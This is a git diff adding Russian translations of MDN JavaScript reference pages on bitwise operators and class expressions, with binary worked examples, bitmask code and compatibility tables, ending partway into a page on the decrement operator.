+<p>Операнды всех битовых операций конвертируются в 32-х битовые целые со знаком представленные в дополнительном коде и с использованием порядка битов от "старшего к младшему". Порядок битов "от старшего к младшему" означает, что наиболее значимый бит (бит с наибольшим значением) находится слева если 32-х разрядное число представлено в виде горизонтальной линии (шкалы). Представление в дополнительном коде  означает, что отрицательное значение числа (например 5 и -5) получается путем инвертирования числа (операция "побитовое НЕ", также известное как "обратный код") и прибавления к нему единицы.</p>
+
+<p>Возьмем, к примеру, число 314. Представим его в двоичном коде:</p>
+
+<pre class="eval">00000000000000000000000100111010
+</pre>
+
+<p>Следующая строка представляет собой его обратный код или ~314:</p>
+
+<pre class="eval">11111111111111111111111011000101
+</pre>
+
+<p>Прибавив к нему единицу, мы получаем двоичное представление числа  -314, оно же 314 в дополнительном коде:</p>
+
+<pre class="eval">11111111111111111111111011000110</pre>
+
+<p>Дополнение до 2-х гарантирует нам, что у положительного числа самый левый бит равен 0, в то время как у отрицательного он равен 1. Он зовется <em>знаковым битом</em>.</p>
+
+<p><br>
+ Число 0 есть число, у которого во ввсех битовых позициях записаны нули.</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">0 (base 10) = 00000000000000000000000000000000 </code></pre>
+
+<p>Число -1 есть число, у которого во всех битовых позициях записаны единицы.</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">-1 (base 10) = 11111111111111111111111111111111 </code></pre>
+
+<p>Число <code>-2147483648</code> (в шестнадцатиричной системе счисления: <code>-0x80000000</code>) - это вещественное число, которое состоит только из 0, заисключением самого первого слева, который есть 1 (отвечает за знак числа).</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">-2147483648 (base 10) = 10000000000000000000000000000000</code></pre>
+
+<p>Число <code>2147483648</code> (в шестнадцатиричной системе счисления: <code>0x80000000</code>) - это вещественное число, которое состоит только из 1, заисключением самого первого слева, который есть 0 (отвечает за знак числа).</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">2147483647 (base 10) = 01111111111111111111111111111111</code></pre>
+
+<p><code>-2147483648 и 2147483647 - это самое минимальное и самое максимальное числа, которые можно представить в 32 разрядной ячейке памяти.</code></p>
+
+<h2 id="Bitwise_logical_operators" name="Bitwise_logical_operators">Побитовые логические операции</h2>
+
+<p>Побитовые логические операции работают следующим образом:</p>
+
+<ul>
+ <li>Операнды конвертируются в 32-х битовые числа отображаемые последовательностью нулей и единиц. Числа более 32-х бит теряют свои старшие биты. Например:</li>
+</ul>
+
+<pre class="line-numbers  language-html"><code class="language-html">До:         11100110111110100000000000000110000000000001
+После:      10100000000000000110000000000001</code>
+</pre>
+
+<ul>
+ <li>Каждый бит первого операнда считается парным соотвествующему биту второго операнда. Первый бит - первому, второй второму итд.</li>
+ <li>Операция применяется к каждой паре битов, and the result is constructed bitwise.</li>
+</ul>
+
+<h3 id="_.28Bitwise_AND.29" name="&amp;_.28Bitwise_AND.29">&amp; (Побитовое AND)</h3>
+
+<p>Производит побитовое И над каждой парой битов. Операция <code>a</code> AND <code>b</code> веренет 1 если только и <code>a</code> и <code>b</code> равны 1. Таблица истинности для этой операции выглядит так:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a AND b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Пример:</p>
+
+<pre class="eval">     9 (основание 10) = 00000000000000000000000000001001 (основание 2)
+    14 (основание 10) = 00000000000000000000000000001110 (основание 2)
+                   --------------------------------
+14 &amp; 9 (основание 10) = 00000000000000000000000000001000 (осн. 2) = 8 (осн. 10)
+</pre>
+
+<p>Побитовое  AND любого числа x с нулем вернет 0.</p>
+
+<p>Побитовое  AND любого числа x с числом -1 вернет х.</p>
+
+<h3 id="_.28Bitwise_OR.29" name="|_.28Bitwise_OR.29">| (Побитовое OR)</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Производит побитовое ИЛИ над каждой парой битов. Операция <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code> OR <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code> веренет 1 если <code style="color: rgb(37, 34, 29); font-weight: inherit;">a</code> или <code style="color: rgb(37, 34, 29); font-weight: inherit;">b</code> равны 1. Таблица истинности для этой операции выглядит так:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a OR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="eval">Пример:
+
+9 (осн. 10) = 00000000000000000000000000001001 (осн. 2)
+14 (осн. 10) = 00000000000000000000000000001110 (осн. 2)
+                   --------------------------------
+14 | 9 (осн. 10) = 00000000000000000000000000001111 (осн. 2) = 15 (осн. 10)
+</pre>
+
+<p>Побитовое OR любого числа x c нулем вернет x.</p>
+
+<p>Побитовое OR любого числа x с числом -1 вернет -1.</p>
+
+<h3 id=".5E_.28Bitwise_XOR.29" name=".5E_.28Bitwise_XOR.29">^ (Побитовое XOR)</h3>
+
+<p>Производит побитовое XOR над каждой парой битов. Операция <code>a</code> XOR <code>b</code> вернет 1 если <code>a</code>  и <code>b</code> различны. Таблица истинности для этой операции выглядит так:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a XOR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Пример:</p>
+
+<pre class="eval">     9 (осн. 10) = 00000000000000000000000000001001 (осн. 2)
+    14 (осн. 10) = 00000000000000000000000000001110 (осн. 2)
+                   --------------------------------
+14 ^ 9 (осн. 10) = 00000000000000000000000000000111 (осн. 2) = 7 (осн. 10)
+</pre>
+
+<p>Побитовое XOR любого числа x c нулем вернет x.</p>
+
+<p>Побитовое XOR любого числа x c числом -1 вернет ~x.</p>
+
+<h3 id=".7E_.28Bitwise_NOT.29" name=".7E_.28Bitwise_NOT.29">~ (Побитовое NOT)</h3>
+
+<p>Производит операцию NOT над каждым битом. NOT <code>a</code> вернет побитово инвертированное значение (обратный код) операнда. Таблица истинности для этой операции выглядит так:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">NOT a</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Пример:</p>
+
+<pre class="eval"> 9 (осн. 10) = 00000000000000000000000000001001 (осн. 2)
+               --------------------------------
+~9 (осн. 10) = 11111111111111111111111111110110 (осн. 2) = -10 (осн. 10)
+</pre>
+
+<p>Побитовое NOT любого числа x вернет -(x + 1). Например, ~5 вернет -6.</p>
+
+<h2 id="Bitwise_shift_operators" name="Bitwise_shift_operators">Побитовые операции сдвига</h2>
+
+<p>Оператор побитового сдвига принимает в себя два операнда: первый - величина, которую сдвигают, второй - число позиций, на которое сдвигаются биты первого операнда. Направление сдвига зависит от используемого оператора.</p>
+
+<p>Операторы сдвига конвертируют операнды в 32-ух разрядные числа с порядком байтов от старшего к младшему, а результат возвращает того же типа, что и левый операнд.</p>
+
+<h3 id=".3C.3C_.28Left_shift.29" name=".3C.3C_.28Left_shift.29">&lt;&lt; (Сдвиг влево)</h3>
+
+<p>Оператор побитового сдвига влево сдвигает первый операнд на заданное число битов влево. Лишние биты отбрасываются.</p>
+
+<p>Например, <code>9 &lt;&lt; 2</code> в результате даст 36:</p>
+
+<pre class="eval">     9 (осн. 10): 00000000000000000000000000001001 (осн. 2)
+                  --------------------------------
+9 &lt;&lt; 2 (осн. 10): 00000000000000000000000000100100 (осн. 2) = 36 (осн. 10)
+
+
+</pre>
+
+<p>Побитовй сдвиг любого числа <code>x</code> влево на <code>y</code> бит в результате дает  <code>x * 2 ** y</code>.</p>
+
+<h3 id=".3E.3E_.28Sign-propagating_right_shift.29" name=".3E.3E_.28Sign-propagating_right_shift.29">&gt;&gt; (Сдвиг вправо с сохранением знака)</h3>
+
+<p>Оператор побитового сдвига вправо сдвигает первый операнд на заданное число битов вправо. Лишние биты отбрасываются. Слева добавляется заданное число битов равных первому биту исходного числа. Поскольку значение первого бита, определяющего знак числа, останется неизменным, знак получившегося результата будет таким же как у первого аргумента. Отсюда "с сохранением знака" в названи.</p>
+
+<p>Например, <code>9 &gt;&gt; 2</code> в результате даст 2:</p>
+
+<pre class="eval">     9 (осн. 10): 00000000000000000000000000001001 (осн. 2)
+                  --------------------------------
+9 &gt;&gt; 2 (осн. 10): 00000000000000000000000000000010 (осн. 2) = 2 (осн. 10)
+</pre>
+
+<p>Аналогично, <code>-9 &gt;&gt; 2</code> даст в результате  -3, так как знак сохранен:</p>
+
+<pre class="eval">     -9 (осн. 10): 11111111111111111111111111110111 (осн. 2)
+                   --------------------------------
+-9 &gt;&gt; 2 (осн. 10): 11111111111111111111111111111101 (осн. 2) = -3 (осн. 10)
+</pre>
+
+<h3 id=".3E.3E_.28Sign-propagating_right_shift.29" name=".3E.3E_.28Sign-propagating_right_shift.29">&gt;&gt;&gt; (Сдвиг вправо с заполнением нулями)</h3>
+
+<p>Оператор побитового сдвига вправо сдвигает первый операнд на заданное число битов вправо. Лишние биты отбрасываются. Слева добавляется заданное число нулевых битов. Поскольку значение первого бита, определяющего знак числа, становится нулевым, результатом операции всегда будет положительное число.</p>
+
+<p>Для положительных чисел, сдвиг вправо с сохранением знака и сдвиг вправо с заполнением нулями эквивалентны.</p>
+
+<p>Например, <code>9 &gt;&gt;&gt; 2</code> дает в результате 2, как и <code>9 &gt;&gt; 2</code>:</p>
+
+<pre class="eval">      9 (осн. 10): 00000000000000000000000000001001 (осн. 2)
+                   --------------------------------
+9 &gt;&gt;&gt; 2 (осн. 10): 00000000000000000000000000000010 (осн. 2) = 2 (осн. 10)
+</pre>
+
+<p>Важно отметить, что для отрицательных результаты будут разными. Например, <code>-9 &gt;&gt;&gt; 2</code> дает в результате 1073741821, что отличается от результата <code>-9 &gt;&gt; 2</code> (равно -3):</p>
+
+<pre class="eval">      -9 (осн. 10): 11111111111111111111111111110111 (осн. 2)
+                    --------------------------------
+-9 &gt;&gt;&gt; 2 (осн. 10): 00111111111111111111111111111101 (осн. 2) = 1073741821 (осн. 10)
+</pre>
+
+<h3 id="Examples" name="Examples">Примеры</h3>
+
+<h4 id="Example_Flags_and_bitmasks" name="Example:_Flags_and_bitmasks">Пример: флаги и битовые маски</h4>
+
+<p>Побитовые логические операторы часто используются для создания, обработки и чтения последовательности флагов, которые осуществляются также, как и двоичные переменные. Переменные могут быть использованы вместо этих последовательностей, но двоичные флаги занимают гораздо меньше памяти (в 32 разрядной ячейке памяти).</p>
+
+<p>Предположим, существует 4 флага:</p>
+
+<ul>
+ <li>флаг A: у нас есть проблема с муравьями</li>
+ <li>флаг B: у нас есть летучая мышь</li>
+ <li>флаг C: у нас есть кошка</li>
+ <li>флаг D: у нас есть утка</li>
+</ul>
+
+<p>Эти флаги представлены последовательностью битов: DCBA. Считается, что флаг <em>установлен (the flag is set)</em>, если его значение равно 1. Флаг <em>сброшен (the flag is cleared)</em>, если его значение равно 0. Предположим, что переменная <code>flags</code> содержит двоичное значение 0101:</p>
+
+<pre class="eval">var flags = 0x5;   // двоичное 0101
+</pre>
+
+<p>Из этого значения следует:</p>
+
+<ul>
+ <li>флаг A установлен (у нас есть проблема с муравьями);</li>
+ <li>флаг B сброшен (у нас нет летучей мыши);</li>
+ <li>флаг C установлен  (у нас есть кошка);</li>
+ <li>флаг D сброшен (у нас нет утки);</li>
+</ul>
+
+<p>Так как битовые операторы 32-битные, то 0101 в действительности представлено значением 00000000000000000000000000000101, но ведущие нули могут быть опущены, потому, что не содержат значимой информации.</p>
+
+<p><em>Битовая маска, </em>это последовательность битов, которая позволяет манипулировать и/или считывать значения флагов. Обычно для каждого флага задаётся "примитивная" битовая маска:</p>
+
+<pre class="eval">var FLAG_A = 0x1; // 0001
+var FLAG_B = 0x2; // 0010
+var FLAG_C = 0x4; // 0100
+var FLAG_D = 0x8; // 1000
+</pre>
+
+<p>New bitmasks can be created by using the bitwise logical operators on these primitive bitmasks. For example, the bitmask 1011 can be created by ORing FLAG_A, FLAG_B, and FLAG_D:</p>
+
+<pre class="eval">var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 =&gt; 1011
+</pre>
+
+<p>Individual flag values can be extracted by ANDing them with a bitmask, where each bit with the value of one will "extract" the corresponding flag. The bitmask <em>masks</em> out the non-relevant flags by ANDing with zeros (hence the term "bitmask"). For example, the bitmask 0100 can be used to see if flag C is set:</p>
+
+<pre class="eval">// if we own a cat
+if (flags &amp; FLAG_C) { // 0101 &amp; 0100 =&gt; 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<p>A bitmask with multiple set flags acts like an "either/or". For example, the following two are equivalent:</p>
+
+<pre class="eval">// if we own a bat or we own a cat
+if ((flags &amp; FLAG_B) || (flags &amp; FLAG_C)) { // (0101 &amp; 0010) || (0101 &amp; 0100) =&gt; 0000 || 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<pre class="eval">// if we own a bat or cat
+var mask = FLAG_B | FLAG_C; // 0010 | 0100 =&gt; 0110
+if (flags &amp; mask) { // 0101 &amp; 0110 =&gt; 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<p>Flags can be set by ORing them with a bitmask, where each bit with the value one will set the corresponding flag, if that flag isn't already set. For example, the bitmask 1010 can be used to set flags C and D:</p>
+
+<pre class="eval">// yes, we own a cat and a duck
+var mask = FLAG_C | FLAG_D; // 0100 | 1000 =&gt; 1100
+flags |= mask;   // 0101 | 1100 =&gt; 1101
+</pre>
+
+<p>Flags can be cleared by ANDing them with a bitmask, where each bit with the value zero will clear the corresponding flag, if it isn't already cleared. This bitmask can be created by NOTing primitive bitmasks. For example, the bitmask 1010 can be used to clear flags A and C:</p>
+
+<pre class="eval">// no, we don't neither have an ant problem nor own a cat
+var mask = ~(FLAG_A | FLAG_C); // ~0101 =&gt; 1010
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>The mask could also have been created with <code>~FLAG_A &amp; ~FLAG_C</code> (De Morgan's law):</p>
+
+<pre class="eval">// no, we don't have an ant problem, and we don't own a cat
+var mask = ~FLAG_A &amp; ~FLAG_C;
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Flags can be toggled by XORing them with a bitmask, where each bit with the value one will toggle the corresponding flag. For example, the bitmask 0110 can be used to toggle flags B and C:</p>
+
+<pre class="eval">// if we didn't have a bat, we have one now, and if we did have one, bye-bye bat
+// same thing for cats
+var mask = FLAG_B | FLAG_C;
+flags = flags ^ mask;   // 1100 ^ 0110 =&gt; 1010
+</pre>
+
+<p>Finally, the flags can all be flipped with the NOT operator:</p>
+
+<pre class="eval">// entering parallel universe...
+flags = ~flags;    // ~1010 =&gt; 0101
+
+</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_NOT">Битовый NOT (<code>~</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND">Битовый AND (<code>&amp;</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR">Битовый OR (<code>|</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR">Битовый XOR (<code>^</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift">Сдвиг влево (<code>&lt;&lt;</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift">Сдвиг вправо (<code>&gt;&gt;</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift">Беззнаковый сдвиг вправо (<code>&gt;&gt;&gt;</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_NOT">Битовый NOT (<code>~</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND">Битовый AND (<code>&amp;</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR">Битовый OR (<code>|</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR">Битовый XOR (<code>^</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift">Сдвиг влево (<code>&lt;&lt;</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift">Сдвиг вправо (<code>&gt;&gt;</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift">Беззнаковый сдвиг вправо (<code>&gt;&gt;&gt;</code>)</a></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://ru.wikipedia.org/wiki/%D0%91%D0%B8%D1%82%D0%BE%D0%B2%D1%8B%D0%B5_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8" title="http://ru.wikipedia.org/wiki/Битовые_операции">Wikipedia Битовые операции</a></li>
+ <li><a class="external" href="http://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4_(%D0%BF%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%B0)" title="http://ru.wikipedia.org/wiki/Дополнительный_код_(представление_числа)">Wikipedia Дополнительный код</a></li>
+ <li><a class="external" href="http://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4_(%D0%BF%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%B0)" title="http://ru.wikipedia.org/wiki/Обратный_код_(представление_числа)">Wikipedia Обратный код</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Logical_Operators">Логические операции</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/class/index.html b/files/ru/web/javascript/reference/operators/class/index.html
new file mode 100644
index 0000000000..ad22c1abc1
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/class/index.html
@@ -0,0 +1,152 @@
+---
+title: class expression
+slug: Web/JavaScript/Reference/Operators/class
+translation_of: Web/JavaScript/Reference/Operators/class
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div></div>
+
+<p><strong>Class expression</strong> это способ определения класса в ECMAScript 2015 (ES6). Схожий с <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expressions</a>, class expressions может быть именованным либо не иметь имени. Если он именованный, то его имя доступно только внутри класса. JavaScript классы используют прототипно-ориентированние наследование.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var MyClass = class <em>[className]</em> [extends] {
+  // тело класса
+};</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Class expression имеет схожий сиснтаксис с {{jsxref("Statements/class", "class declaration (statement)", "", "true")}}. Однако в class expression можно опустить имя класса ("binding identifier"), что не допустимо с {{jsxref("Statements/class", "class declaration", "", "true")}}. Также class expression позволяет повторно объявить уже существующий класс и это <strong>не приведёт к ошибке типа</strong>, как при использовании {{jsxref("Statements/class", "class declaration", "", "true")}}. Свойство конструктора является опциональным. Результатом вызова оператора {{jsxref("Operators/typeof", "typeof")}} на классах, сгенерированных при помощи class expression, всегда будет "function".</p>
+
+<p>Так же, как и при использовании class declaration, тело класса у class expression будет исполняться в {{jsxref("Strict_mode", "строгом режиме", "", 1)}}.</p>
+
+<pre class="brush: js notranslate">'use strict';
+var Foo = class {}; // свойство конструктора опционально
+var Foo = class {}; // повторное объявление разрешено
+
+typeof Foo; // возвращает "function"
+typeof class {}; // возвращает "function"
+
+Foo instanceof Object; // true
+Foo instanceof Function; // true
+class Foo {}; // Throws TypeError, doesn't allow re-declaration
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_class_expression">Простой class expression</h3>
+
+<p>Простой анонимный class expression, на который можно сослаться с помощью переменной "Foo".</p>
+
+<pre class="brush: js notranslate">var Foo = class {
+  constructor() {}
+  bar() {
+    return "Hello World!";
+  }
+};
+
+var instance = new Foo();
+instance.bar(); // "Hello World!"
+Foo.name; // "Foo"
+</pre>
+
+<h3 id="Именованный_class_expression">Именованный class expression</h3>
+
+<p>Если вы хотите сослаться на конкретный класс внутри тела класса, вы можете создать именованный class expression. Это имя будет доступно только внутри области видимости самого class expression.</p>
+
+<pre class="brush: js notranslate">var Foo = class NamedFoo {
+  constructor() {}
+  whoIsThere() {
+    return NamedFoo.name;
+  }
+}
+var bar = new Foo();
+bar.whoIsThere(); // "NamedFoo"
+NamedFoo.name; // ReferenceError: NamedFoo is not defined
+Foo.name; // "NamedFoo"
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_брузерами">Поддержка брузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/function"><code>function</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> statement</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/decrement/index.html b/files/ru/web/javascript/reference/operators/decrement/index.html
new file mode 100644
index 0000000000..722d4a5889
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/decrement/index.html
@@ -0,0 +1,80 @@
+---
+title: Декремент (--)
+slug: Web/JavaScript/Reference/Operators/Decrement
+tags:
+  - Декремент
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators/Decrement
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Оператор декремента (<code>--</code>) уменьшает (вычитает единицу) свой операнд и возвращает значение.</p>
+
